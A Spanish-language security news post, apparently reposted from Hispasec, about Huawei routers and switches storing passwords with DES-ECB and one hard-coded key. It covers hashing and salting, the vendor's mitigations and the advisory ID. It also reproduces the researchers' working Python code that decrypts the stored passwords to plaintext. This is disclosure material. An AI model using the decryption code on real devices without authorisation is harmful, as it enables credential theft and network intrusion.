Huawei
es un fabricante chino de equipos destinados a la gestión de redes y
telecomunicaciones, aunque últimamente están adentrándose en el mundo de los
smartphones y las tablets. Se ha descubierto que cifra las contraseñas de los productos de manera muy débil.
Hay diferentes maneras de
almacenar contraseñas por parte de los dispositivos y sistemas. Una muy común
es utilizar un hash de la contraseña. En el momento de verificar si un usuario
es quien dice ser, a la contraseña introducida se le aplica la misma función
hash que se usó a la hora de su almacenamiento. Si la cadena resultante es igual
a la almacenada, se valida. Con este sistema no se guarda la contraseña en
claro en ningún momento.
También es muy común usar "sal" para generar estos hashes.
Así, una de las entradas de la función hash sería la clave y otra la "sal", (que sólo se trata de ciertos
bit aleatorios). Con esto se consiguen mitigar la eficacia de los ataques por
diccionario.
Huawei no usa ninguno de estos
métodos. El problema, descubierto por Roberto Paleari e Ivan Speziale reside en
que los dispositivos usan un cifrado
simétrico (algoritmo DES) con una misma clave de cifrado compartida entre todos
los dispositivos ('\x01\x02\x03\x04\x05\x06\x07\x08'). No se trata de una vulnerabilidad
como tal, sino de un fallo de diseño por parte del fabricante por usar
contraseñas comunes y no aleatorias para cada dispositivo.
Los investigadores han publicado
este código en Python para extraer las contraseñas
en claro, llamando a la función 'decrypt_password'
from Crypto.Cipher import DES def decode_char(c): if c == 'a': r = '?' else: r = c return ord(r) - ord('!') def ascii_to_binary(s): assert len(s) == 24 out = [0]*18 i = 0 j = 0 for i in range(0, len(s), 4): y = decode_char(s[i + 0]) y = (y << 6) & 0xffffff k = decode_char(s[i + 1]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 2]) y = (y | k) & 0xffffff y = (y << 6) & 0xffffff k = decode_char(s[i + 3]) y = (y | k) & 0xffffff out[j+2] = chr(y & 0xff) out[j+1] = chr((y>>8) & 0xff) out[j+0] = chr((y>>16) & 0xff) j += 3 return "".join(out) def decrypt_password(p): r = ascii_to_binary(p) r = r[:16] d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB) r = d.decrypt(r) return r.rstrip("\x00")
El algoritmo de cifrado usado es
DES con ECB (Electronic codebook), que es
el método más simple al usar el algoritmo DES.
En primer lugar el algoritmo
transforma los caracteres ascii de la contraseña cifrada a binario (función
ascii_to_binary), y posteriormente se queda con los 16 primeros bytes,
eliminando el resto.
A continuación aplica el
descifrado del algoritmo DES en modo ECB con la clave
\x01\x02\x03\x04\x05\x06\x07\x08 y elimina los caracteres NUL del final de la
contraseña.
El error ha sido confirmado en los productos de la familia
Quidway y en los CX600 (routers y switches), aunque puede existir en más
productos afectados.
En el comunicado oficial delfabricante se recomienda, como remedio temporal, limitar el acceso a los routers a los usuarios dentro de la red
interna, gestionar estrictamente los privilegios de las cuentas y cambiar las
contraseñas con regularidad.
El fabricante ha asignado la
referencia Huawei-SA-20120827-01-CX600 al fallo.
Más información:
Seclists.org - Weak password encryption on
Huawei products
Huawei - Updated Security Advisory on the Risk
of Password Being Cracked Due to DES Encryption Algorithm
Antonio Sánchez
asanchez@hispasec.comFuente: Hispasec
No hay comentarios:
Publicar un comentario